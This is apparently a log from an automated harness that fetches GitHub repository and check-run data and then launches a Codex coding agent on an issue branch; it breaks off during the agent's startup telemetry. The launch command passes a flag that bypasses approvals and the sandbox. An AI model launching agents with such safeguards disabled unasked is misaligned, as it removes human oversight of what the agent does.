e-template\",\"full_name\":\"link-foundation/rust-ai-driven-development-pipeline-template\",\"private\":false,\"owner\":{\"login\":\"link-foundation\",\"id\":176174013,\"node_id\":\"O_kgDOCoAzvQ\",\"avatar_url\":\"https://avatars.githubusercontent.com/u/176174013?v=4\",\"gravatar_id\":\"\",\"url\":\"https://api.github.com/users/link-foundation\",\"html_url\":\"https://github.com/link-foundation\",\"followers_url\":\"https://api.github.com/users/link-foundation/followers\",\"following_url\":\"https://api.github.com/users/link-foundation/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/link-foundation/gists{/gist_id}\",\"starred_url\":\"https://api.github.com/users/link-foundation/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/link-foundation/subscriptions\",\"organizations_url\":\"https://api.github.com/users/link-foundation/orgs\",\"repos_url\":\"https://api.github.com/users/link-foundation/repos\",\"events_url\":\"https://api.github.com/users/link-foundation/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/link-foundation/received_events\",\"type\":\"Organization\",\"user_view_type\":\"public\",\"site_admin\":false},\"html_url\":\"https://github.com/link-foundation/rust-ai-driven-development-pipeline-template\",\"description\":\"A template for AI driven development pipeline for Rust\",\"fork\":false,\"url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template\",\"forks_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/forks\",\"keys_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/keys{/key_id}\",\"collaborators_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/collaborators{/collaborator}\",\"teams_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/teams\",\"hooks_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/hooks\",\"issue_events_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/issues/events{/number}\",\"events_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/events\",\"assignees_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/assignees{/user}\",\"branches_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/branches{/branch}\",\"tags_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/tags\",\"blobs_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/git/blobs{/sha}\",\"git_tags_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/git/tags{/sha}\",\"git_refs_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/git/refs{/sha}\",\"trees_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/git/trees{/sha}\",\"statuses_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/statuses/{sha}\",\"languages_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/languages\",\"stargazers_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/stargazers\",\"contributors_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/contributors\",\"subscribers_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/subscribers\",\"subscription_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/subscription\",\"commits_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/commits{/sha}\",\"git_commits_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/git/commits{/sha}\",\"comments_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/comments{/number}\",\"issue_comment_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/issues/comments{/number}\",\"contents_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/contents/{+path}\",\"compare_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/compare/{base}...{head}\",\"merges_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/merges\",\"archive_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/{archive_format}{/ref}\",\"downloads_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/downloads\",\"issues_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/issues{/number}\",\"pulls_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/pulls{/number}\",\"milestones_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/milestones{/number}\",\"notifications_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/notifications{?since,all,participating}\",\"labels_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/labels{/name}\",\"releases_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/releases{/id}\",\"deployments_url\":\"https://api.github.com/repos/link-foundation/rust-ai-driven-development-pipeline-template/deployments\",\"created_at\":\"2025-12-26T15:04:17Z\",\"updated_at\":\"2026-07-03T17:18:49Z\",\"pushed_at\":\"2026-07-03T17:18:47Z\",\"git_url\":\"git://github.com/link-foundation/rust-ai-driven-development-pipeline-template.git\",\"ssh_url\":\"git@github.com:link-foundation/rust-ai-driven-development-pipeline-template.git\",\"clone_url\":\"https://github.com/link-foundation/rust-ai-driven-development-pipeline-template.git\",\"svn_url\":\"https://github.com/link-foundation/rust-ai-driven-development-pipeline-template\",\"homepage\":null,\"size\":2621,\"stargazers_count\":2,\"watchers_count\":2,\"language\":\"Rust\",\"has_issues\":true,\"has_projects\":true,\"has_downloads\":true,\"has_wiki\":true,\"has_pages\":false,\"has_discussions\":false,\"forks_count\":0,\"mirror_url\":null,\"archived\":false,\"disabled\":false,\"open_issues_count\":0,\"license\":{\"key\":\"unlicense\",\"name\":\"The Unlicense\",\"spdx_id\":\"Unlicense\",\"url\":\"https://api.github.com/licenses/unlicense\",\"node_id\":\"MDc6TGljZW5zZTE1\"},\"allow_forking\":true,\"is_template\":true,\"web_commit_signoff_required\":false,\"has_pull_requests\":true,\"pull_request_creation_policy\":\"all\",\"topics\":[],\"visibility\":\"public\",\"forks\":0,\"open_issues\":0,\"watchers\":2,\"default_branch\":\"main\",\"permissions\":{\"admin\":true,\"maintain\":true,\"push\":true,\"triage\":true,\"pull\":true},\"temp_clone_token\":\"\",\"allow_squash_merge\":true,\"allow_merge_commit\":true,\"allow_rebase_merge\":true,\"allow_auto_merge\":false,\"delete_branch_on_merge\":false,\"allow_update_branch\":false,\"use_squash_pr_title_as_default\":false,\"squash_merge_commit_message\":\"COMMIT_MESSAGES\",\"squash_merge_commit_title\":\"COMMIT_OR_PR_TITLE\",\"merge_commit_message\":\"PR_TITLE\",\"merge_commit_title\":\"MERGE_MESSAGE\"},\"custom_properties\":{},\"organization\":{\"login\":\"link-foundation\",\"id\":176174013,\"node_id\":\"O_kgDOCoAzvQ\",\"avatar_url\":\"https://avatars.githubusercontent.com/u/176174013?v=4\",\"gravatar_id\":\"\",\"url\":\"https://api.github.com/users/link-foundation\",\"html_url\":\"https://github.com/link-foundation\",\"followers_url\":\"https://api.github.com/users/link-foundation/followers\",\"following_url\":\"https://api.github.com/users/link-foundation/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/link-foundation/gists{/gist_id}\",\"starred_url\":\"https://api.github.com/users/link-foundation/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/link-foundation/subscriptions\",\"organizations_url\":\"https://api.github.com/users/link-foundation/orgs\",\"repos_url\":\"https://api.github.com/users/link-foundation/repos\",\"events_url\":\"https://api.github.com/users/link-foundation/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/link-foundation/received_events\",\"type\":\"Organization\",\"user_view_type\":\"public\",\"site_admin\":false},\"security_and_analysis\":{\"secret_scanning\":{\"status\":\"disabled\"},\"secret_scanning_push_protection\":{\"status\":\"disabled\"},\"dependabot_security_updates\":{\"status\":\"disabled\"},\"secret_scanning_non_provider_patterns\":{\"status\":\"disabled\"},\"secret_scanning_validity_checks\":{\"status\":\"disabled\"}},\"network_count\":0,\"subscribers_count\":0}\n[2026-07-12T04:02:08.266Z] [STDOUT] {\n  \"message\": \"Not Found\",\n  \"documentation_url\": \"https://docs.github.com/rest\",\n  \"status\": \"404\"\n}\n[2026-07-12T04:02:08.266Z] [STDERR] gh: Not Found (HTTP 404)\n[2026-07-12T04:02:08.851Z] [STDOUT] e4a**********************************43d\n[2026-07-12T04:02:09.646Z] [STDOUT] [{\"total_count\":3,\"check_runs\":[{\"id\":86613482019,\"name\":\"Create Changelog PR\",\"node_id\":\"CR_kwDOSNlfVs8AAAAUKpDaIw\",\"head_sha\":\"e4a**********************************43d\",\"external_id\":\"f3cfe4fe-b94d-52fb-a7ed-0b463bd4fe51\",\"url\":\"https://api.github.com/repos/link-foundation/meta-ontology/check-runs/86613482019\",\"html_url\":\"https://github.com/link-foundation/meta-ontology/actions/runs/29179103369/job/86613482019\",\"details_url\":\"https://github.com/link-foundation/meta-ontology/actions/runs/29179103369/job/86613482019\",\"status\":\"completed\",\"conclusion\":\"skipped\",\"started_at\":\"2026-07-12T04:02:00Z\",\"completed_at\":\"2026-07-12T04:01:59Z\",\"output\":{\"title\":null,\"summary\":null,\"text\":null,\"annotations_count\":0,\"annotations_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/check-runs/86613482019/annotations\"},\"check_suite\":{\"id\":78953761250},\"app\":{\"id\":15368,\"client_id\":\"Iv1.05c79e9ad1f6bdfa\",\"slug\":\"github-actions\",\"node_id\":\"MDM6QXBwMTUzNjg=\",\"owner\":{\"login\":\"github\",\"id\":9919,\"node_id\":\"MDEyOk9yZ2FuaXphdGlvbjk5MTk=\",\"avatar_url\":\"https://avatars.githubusercontent.com/u/9919?v=4\",\"gravatar_id\":\"\",\"url\":\"https://api.github.com/users/github\",\"html_url\":\"https://github.com/github\",\"followers_url\":\"https://api.github.com/users/github/followers\",\"following_url\":\"https://api.github.com/users/github/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/github/gists{/gist_id}\",\"starred_url\":\"https://api.github.com/users/github/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/github/subscriptions\",\"organizations_url\":\"https://api.github.com/users/github/orgs\",\"repos_url\":\"https://api.github.com/users/github/repos\",\"events_url\":\"https://api.github.com/users/github/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/github/received_events\",\"type\":\"Organization\",\"user_view_type\":\"public\",\"site_admin\":false},\"name\":\"GitHub Actions\",\"description\":\"Automate your workflow from idea to production\",\"external_url\":\"https://help.github.com/en/actions\",\"html_url\":\"https://github.com/apps/github-actions\",\"created_at\":\"2018-07-30T09:30:17Z\",\"updated_at\":\"2026-06-18T16:17:48Z\",\"permissions\":{\"actions\":\"write\",\"administration\":\"read\",\"artifact_metadata\":\"write\",\"attestations\":\"write\",\"checks\":\"write\",\"code_quality\":\"write\",\"contents\":\"write\",\"copilot_requests\":\"write\",\"deployments\":\"write\",\"discussions\":\"write\",\"drives\":\"write\",\"issues\":\"write\",\"merge_queues\":\"write\",\"metadata\":\"read\",\"models\":\"read\",\"packages\":\"write\",\"pages\":\"write\",\"pull_requests\":\"write\",\"repository_hooks\":\"write\",\"repository_projects\":\"write\",\"security_events\":\"write\",\"statuses\":\"write\",\"vulnerability_alerts\":\"read\"},\"events\":[\"branch_protection_rule\",\"check_run\",\"check_suite\",\"create\",\"delete\",\"deployment\",\"deployment_status\",\"discussion\",\"discussion_comment\",\"fork\",\"gollum\",\"issues\",\"issue_comment\",\"label\",\"merge_group\",\"milestone\",\"page_build\",\"public\",\"pull_request\",\"pull_request_review\",\"pull_request_review_comment\",\"push\",\"registry_package\",\"release\",\"repository\",\"repository_dispatch\",\"status\",\"watch\",\"workflow_dispatch\",\"workflow_run\"]},\"pull_requests\":[{\"url\":\"https://api.github.com/repos/link-foundation/meta-ontology/pulls/6\",\"id\":4037821050,\"number\":6,\"head\":{\"ref\":\"issue-5-e2602184e2c5\",\"sha\":\"e4a**********************************43d\",\"repo\":{\"id\":1222205270,\"url\":\"https://api.github.com/repos/link-foundation/meta-ontology\",\"name\":\"meta-ontology\"}},\"base\":{\"ref\":\"main\",\"sha\":\"04e**********************************70b\",\"repo\":{\"id\":1222205270,\"url\":\"https://api.github.com/repos/link-foundation/meta-ontology\",\"name\":\"meta-ontology\"}}}]},{\"id\":86613481872,\"name\":\"Version Modification Check\",\"node_id\":\"CR_kwDOSNlfVs8AAAAUKpDZkA\",\"head_sha\":\"e4a**********************************43d\",\"external_id\":\"1eb514d6-3e13-5dbc-b5de-dcd43c096378\",\"url\":\"https://api.github.com/repos/link-foundation/meta-ontology/check-runs/86613481872\",\"html_url\":\"https://github.com/link-foundation/meta-ontology/actions/runs/29179103369/job/86613481872\",\"details_url\":\"https://github.com/link-foundation/meta-ontology/actions/runs/29179103369/job/86613481872\",\"status\":\"in_progress\",\"conclusion\":null,\"started_at\":\"2026-07-12T04:02:01Z\",\"completed_at\":null,\"output\":{\"title\":null,\"summary\":null,\"text\":null,\"annotations_count\":0,\"annotations_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/check-runs/86613481872/annotations\"},\"check_suite\":{\"id\":78953761250},\"app\":{\"id\":15368,\"client_id\":\"Iv1.05c79e9ad1f6bdfa\",\"slug\":\"github-actions\",\"node_id\":\"MDM6QXBwMTUzNjg=\",\"owner\":{\"login\":\"github\",\"id\":9919,\"node_id\":\"MDEyOk9yZ2FuaXphdGlvbjk5MTk=\",\"avatar_url\":\"https://avatars.githubusercontent.com/u/9919?v=4\",\"gravatar_id\":\"\",\"url\":\"https://api.github.com/users/github\",\"html_url\":\"https://github.com/github\",\"followers_url\":\"https://api.github.com/users/github/followers\",\"following_url\":\"https://api.github.com/users/github/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/github/gists{/gist_id}\",\"starred_url\":\"https://api.github.com/users/github/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/github/subscriptions\",\"organizations_url\":\"https://api.github.com/users/github/orgs\",\"repos_url\":\"https://api.github.com/users/github/repos\",\"events_url\":\"https://api.github.com/users/github/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/github/received_events\",\"type\":\"Organization\",\"user_view_type\":\"public\",\"site_admin\":false},\"name\":\"GitHub Actions\",\"description\":\"Automate your workflow from idea to production\",\"external_url\":\"https://help.github.com/en/actions\",\"html_url\":\"https://github.com/apps/github-actions\",\"created_at\":\"2018-07-30T09:30:17Z\",\"updated_at\":\"2026-06-18T16:17:48Z\",\"permissions\":{\"actions\":\"write\",\"administration\":\"read\",\"artifact_metadata\":\"write\",\"attestations\":\"write\",\"checks\":\"write\",\"code_quality\":\"write\",\"contents\":\"write\",\"copilot_requests\":\"write\",\"deployments\":\"write\",\"discussions\":\"write\",\"drives\":\"write\",\"issues\":\"write\",\"merge_queues\":\"write\",\"metadata\":\"read\",\"models\":\"read\",\"packages\":\"write\",\"pages\":\"write\",\"pull_requests\":\"write\",\"repository_hooks\":\"write\",\"repository_projects\":\"write\",\"security_events\":\"write\",\"statuses\":\"write\",\"vulnerability_alerts\":\"read\"},\"events\":[\"branch_protection_rule\",\"check_run\",\"check_suite\",\"create\",\"delete\",\"deployment\",\"deployment_status\",\"discussion\",\"discussion_comment\",\"fork\",\"gollum\",\"issues\",\"issue_comment\",\"label\",\"merge_group\",\"milestone\",\"page_build\",\"public\",\"pull_request\",\"pull_request_review\",\"pull_request_review_comment\",\"push\",\"registry_package\",\"release\",\"repository\",\"repository_dispatch\",\"status\",\"watch\",\"workflow_dispatch\",\"workflow_run\"]},\"pull_requests\":[{\"url\":\"https://api.github.com/repos/link-foundation/meta-ontology/pulls/6\",\"id\":4037821050,\"number\":6,\"head\":{\"ref\":\"issue-5-e2602184e2c5\",\"sha\":\"e4a**********************************43d\",\"repo\":{\"id\":1222205270,\"url\":\"https://api.github.com/repos/link-foundation/meta-ontology\",\"name\":\"meta-ontology\"}},\"base\":{\"ref\":\"main\",\"sha\":\"04e**********************************70b\",\"repo\":{\"id\":1222205270,\"url\":\"https://api.github.com/repos/link-foundation/meta-ontology\",\"name\":\"meta-ontology\"}}}]},{\"id\":86613481865,\"name\":\"Detect Changes\",\"node_id\":\"CR_kwDOSNlfVs8AAAAUKpDZiQ\",\"head_sha\":\"e4a**********************************43d\",\"external_id\":\"02927404-5a52-552d-ae68-914b040e0b52\",\"url\":\"https://api.github.com/repos/link-foundation/meta-ontology/check-runs/86613481865\",\"html_url\":\"https://github.com/link-foundation/meta-ontology/actions/runs/29179103369/job/86613481865\",\"details_url\":\"https://github.com/link-foundation/meta-ontology/actions/runs/29179103369/job/86613481865\",\"status\":\"in_progress\",\"conclusion\":null,\"started_at\":\"2026-07-12T04:02:02Z\",\"completed_at\":null,\"output\":{\"title\":null,\"summary\":null,\"text\":null,\"annotations_count\":0,\"annotations_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/check-runs/86613481865/annotations\"},\"check_suite\":{\"id\":78953761250},\"app\":{\"id\":15368,\"client_id\":\"Iv1.05c79e9ad1f6bdfa\",\"slug\":\"github-actions\",\"node_id\":\"MDM6QXBwMTUzNjg=\",\"owner\":{\"login\":\"github\",\"id\":9919,\"node_id\":\"MDEyOk9yZ2FuaXphdGlvbjk5MTk=\",\"avatar_url\":\"https://avatars.githubusercontent.com/u/9919?v=4\",\"gravatar_id\":\"\",\"url\":\"https://api.github.com/users/github\",\"html_url\":\"https://github.com/github\",\"followers_url\":\"https://api.github.com/users/github/followers\",\"following_url\":\"https://api.github.com/users/github/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/github/gists{/gist_id}\",\"starred_url\":\"https://api.github.com/users/github/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/github/subscriptions\",\"organizations_url\":\"https://api.github.com/users/github/orgs\",\"repos_url\":\"https://api.github.com/users/github/repos\",\"events_url\":\"https://api.github.com/users/github/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/github/received_events\",\"type\":\"Organization\",\"user_view_type\":\"public\",\"site_admin\":false},\"name\":\"GitHub Actions\",\"description\":\"Automate your workflow from idea to production\",\"external_url\":\"https://help.github.com/en/actions\",\"html_url\":\"https://github.com/apps/github-actions\",\"created_at\":\"2018-07-30T09:30:17Z\",\"updated_at\":\"2026-06-18T16:17:48Z\",\"permissions\":{\"actions\":\"write\",\"administration\":\"read\",\"artifact_metadata\":\"write\",\"attestations\":\"write\",\"checks\":\"write\",\"code_quality\":\"write\",\"contents\":\"write\",\"copilot_requests\":\"write\",\"deployments\":\"write\",\"discussions\":\"write\",\"drives\":\"write\",\"issues\":\"write\",\"merge_queues\":\"write\",\"metadata\":\"read\",\"models\":\"read\",\"packages\":\"write\",\"pages\":\"write\",\"pull_requests\":\"write\",\"repository_hooks\":\"write\",\"repository_projects\":\"write\",\"security_events\":\"write\",\"statuses\":\"write\",\"vulnerability_alerts\":\"read\"},\"events\":[\"branch_protection_rule\",\"check_run\",\"check_suite\",\"create\",\"delete\",\"deployment\",\"deployment_status\",\"discussion\",\"discussion_comment\",\"fork\",\"gollum\",\"issues\",\"issue_comment\",\"label\",\"merge_group\",\"milestone\",\"page_build\",\"public\",\"pull_request\",\"pull_request_review\",\"pull_request_review_comment\",\"push\",\"registry_package\",\"release\",\"repository\",\"repository_dispatch\",\"status\",\"watch\",\"workflow_dispatch\",\"workflow_run\"]},\"pull_requests\":[{\"url\":\"https://api.github.com/repos/link-foundation/meta-ontology/pulls/6\",\"id\":4037821050,\"number\":6,\"head\":{\"ref\":\"issue-5-e2602184e2c5\",\"sha\":\"e4a**********************************43d\",\"repo\":{\"id\":1222205270,\"url\":\"https://api.github.com/repos/link-foundation/meta-ontology\",\"name\":\"meta-ontology\"}},\"base\":{\"ref\":\"main\",\"sha\":\"04e**********************************70b\",\"repo\":{\"id\":1222205270,\"url\":\"https://api.github.com/repos/link-foundation/meta-ontology\",\"name\":\"meta-ontology\"}}}]}]}]\n[2026-07-12T04:02:10.169Z] [STDOUT] []\n[2026-07-12T04:02:10.180Z] [INFO]    Feedback info will be added to prompt:\n[2026-07-12T04:02:10.183Z] [INFO]      - Pull request description was edited after last commit\n[2026-07-12T04:02:10.183Z] [INFO] \ud83d\udcc5 Getting timestamps:       From GitHub servers...\n[2026-07-12T04:02:10.955Z] [STDOUT] 2026-07-11T23:56:06Z\n[2026-07-12T04:02:10.957Z] [INFO]   \ud83d\udcdd Issue updated:          2026-07-11T23:56:06.000Z\n[2026-07-12T04:02:11.743Z] [STDOUT] []\n[2026-07-12T04:02:11.754Z] [INFO]   \ud83d\udcac Comments:               None found\n[2026-07-12T04:02:12.240Z] [STDOUT] [{\"createdAt\":\"2026-07-12T04:01:56Z\"}]\n[2026-07-12T04:02:12.248Z] [INFO]   \ud83d\udd00 Recent PR:              2026-07-12T04:01:56.000Z\n[2026-07-12T04:02:12.249Z] [INFO] \n[2026-07-12T04:02:12.249Z] [INFO] \u2705 Reference time:           2026-07-12T04:01:56.000Z\n[2026-07-12T04:02:12.252Z] [INFO] \n[2026-07-12T04:02:12.252Z] [INFO] \ud83d\udd0d Checking for uncommitted changes to include as feedback...\n[2026-07-12T04:02:12.283Z] [INFO] \u2705 No uncommitted changes found\n[2026-07-12T04:02:12.523Z] [INFO] \ud83d\udc41\ufe0f  Model vision capability: supported\n[2026-07-12T04:02:12.533Z] [INFO] \n[2026-07-12T04:02:12.533Z] [INFO] \ud83d\udcdd Final prompt structure:\n[2026-07-12T04:02:12.545Z] [INFO]    Characters: 279\n[2026-07-12T04:02:12.546Z] [INFO]    System prompt characters: 13396\n[2026-07-12T04:02:12.548Z] [INFO]    Feedback info: Included\n[2026-07-12T04:02:12.555Z] [INFO] \n[2026-07-12T04:02:12.555Z] [INFO] \ud83e\udd16 Executing Codex:          GPT-5.6-SOL\n[2026-07-12T04:02:12.558Z] [INFO]    Model: gpt-5.6-sol\n[2026-07-12T04:02:12.560Z] [INFO]    Working directory: /tmp/gh-issue-solver-1783828904396\n[2026-07-12T04:02:12.560Z] [INFO]    Branch: issue-5-e2602184e2c5\n[2026-07-12T04:02:12.561Z] [INFO]    Prompt length: 279 chars\n[2026-07-12T04:02:12.562Z] [INFO]    System prompt length: 13396 chars\n[2026-07-12T04:02:12.563Z] [INFO]    Feedback info included: Yes (1 lines)\n[2026-07-12T04:02:12.612Z] [INFO] \ud83d\udcc8 System resources before execution:\n[2026-07-12T04:02:12.615Z] [INFO]    Memory: MemFree:         4451684 kB\n[2026-07-12T04:02:12.616Z] [INFO]    Load: 2.84 3.36 3.49 2/718 2511\n[2026-07-12T04:02:12.621Z] [INFO]    Resolved model ID: gpt-5.6-sol\n[2026-07-12T04:02:12.621Z] [INFO]    Execution mode: new exec\n[2026-07-12T04:02:12.622Z] [INFO]    Prompt file: /tmp/codex_prompt_1783828932620_1.txt\n[2026-07-12T04:02:12.623Z] [INFO]    Last message file: /tmp/codex_last_message_1783828932620_1.txt\n[2026-07-12T04:02:12.624Z] [INFO]    Codex debug env: RUST_LOG=debug\n[2026-07-12T04:02:12.627Z] [INFO] \ud83d\udcca Codex --disable-1m-context: -c model_context_window=200000\n[2026-07-12T04:02:12.629Z] [INFO] \ud83d\udcca Codex --sub-session-size: -c model_auto_compact_token_limit=150000\n[2026-07-12T04:02:12.630Z] [INFO] \n[2026-07-12T04:02:12.630Z] [INFO] \ud83d\udcdd Raw command:              \n[2026-07-12T04:02:12.631Z] [INFO] (cd \"/tmp/gh-issue-solver-1783828904396\" && cat \"/tmp/codex_prompt_1783828932620_1.txt\" | codex exec --model \"gpt-5.6-sol\" --json --skip-git-repo-check -o \"/tmp/codex_last_message_1783828932620_1.txt\" -c \"model_reasoning_effort=medium\" -c \"model_reasoning_summary=auto\" --dangerously-bypass-approvals-and-sandbox \"-c\" \"model_context_window=200000\" \"-c\" \"model_auto_compact_token_limit=150000\")\n[2026-07-12T04:02:12.633Z] [INFO] \n[2026-07-12T04:02:12.637Z] [INFO] \ud83d\udccb Command details:          \n[2026-07-12T04:02:12.638Z] [INFO]   \ud83d\udcc2 Working directory:      /tmp/gh-issue-solver-1783828904396\n[2026-07-12T04:02:12.640Z] [INFO]   \ud83c\udf3f Branch:                 issue-5-e2602184e2c5\n[2026-07-12T04:02:12.642Z] [INFO]   \ud83e\udd16 Model:                  Codex GPT-5.6-SOL\n[2026-07-12T04:02:12.643Z] [INFO]   \ud83e\udde0 Reasoning effort:       medium (--think medium)\n[2026-07-12T04:02:12.644Z] [INFO] \n[2026-07-12T04:02:12.644Z] [INFO] \u25b6\ufe0f Streaming output:         \n[2026-07-12T04:02:12.644Z] [INFO] \n[2026-07-12T04:02:13.039Z] [INFO] 2026-07-12T04:02:13.038575Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderThreadStarted\" interval_in_millisecs=60000\n[2026-07-12T04:02:13.039Z] [INFO] 2026-07-12T04:02:13.038668Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderThreadLoopAlive\" Next export will happen after interval, unless flush or shutdown is triggered. interval_in_millisecs=60000\n[2026-07-12T04:02:13.039Z] [INFO] \n[2026-07-12T04:02:13.277Z] [INFO] 2026-07-12T04:02:13.275507Z DEBUG opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.sqlite.init.count\" cardinality_limit=2000\n[2026-07-12T04:02:13.277Z] [INFO] 2026-07-12T04:02:13.275699Z DEBUG opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.sqlite.init.duration_ms\" cardinality_limit=2000\n[2026-07-12T04:02:13.277Z] [INFO] \n[2026-07-12T04:02:13.431Z] [INFO] Reading prompt from stdin...\n[2026-07-12T04:02:13.431Z] [INFO] \n[2026-07-12T04:02:13.437Z] [INFO] 2026-07-12T04:02:13.431782Z DEBUG codex.exec{otel.kind=\"internal\"}: codex_core::exec_policy: loaded rules from 0 files\n[2026-07-12T04:02:13.437Z] [INFO] \n[2026-07-12T04:02:13.468Z] [INFO] 2026-07-12T04:02:13.467112Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:13.468Z] [INFO] \n[2026-07-12T04:02:13.528Z] [INFO] 2026-07-12T04:02:13.528023Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:13.528Z] [INFO] 2026-07-12T04:02:13.528163Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:13.528Z] [INFO] \n[2026-07-12T04:02:13.535Z] [INFO] 2026-07-12T04:02:13.533138Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:13.535Z] [INFO] \n[2026-07-12T04:02:13.540Z] [INFO] 2026-07-12T04:02:13.536302Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:13.540Z] [INFO] \n[2026-07-12T04:02:13.553Z] [INFO] 2026-07-12T04:02:13.552500Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:13.553Z] [INFO] \n[2026-07-12T04:02:13.577Z] [INFO] 2026-07-12T04:02:13.576327Z  INFO codex_app_server::message_processor: <- typed notification: Initialized\n[2026-07-12T04:02:13.577Z] [INFO] \n[2026-07-12T04:02:13.584Z] [INFO] 2026-07-12T04:02:13.583830Z DEBUG app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}: codex_config::loader::layer_io: /etc/codex/managed_config.toml not found\n[2026-07-12T04:02:13.584Z] [INFO] \n[2026-07-12T04:02:13.768Z] [INFO] 2026-07-12T04:02:13.767311Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:13.768Z] [INFO] \n[2026-07-12T04:02:13.786Z] [INFO] 2026-07-12T04:02:13.785389Z DEBUG list_models{refresh_strategy=online}:endpoint_session.execute_with{http.method=GET api.path=\"models\"}: reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:13.786Z] [INFO] \n[2026-07-12T04:02:13.792Z] [INFO] 2026-07-12T04:02:13.786376Z DEBUG list_models{refresh_strategy=online}:endpoint_session.execute_with{http.method=GET api.path=\"models\"}: hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:13.792Z] [INFO] \n[2026-07-12T04:02:13.797Z] [INFO] 2026-07-12T04:02:13.791641Z DEBUG list_models{refresh_strategy=online}:endpoint_session.execute_with{http.method=GET api.path=\"models\"}: hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:13.797Z] [INFO] \n[2026-07-12T04:02:13.803Z] [INFO] 2026-07-12T04:02:13.803107Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:13.803Z] [INFO] \n[2026-07-12T04:02:13.832Z] [INFO] 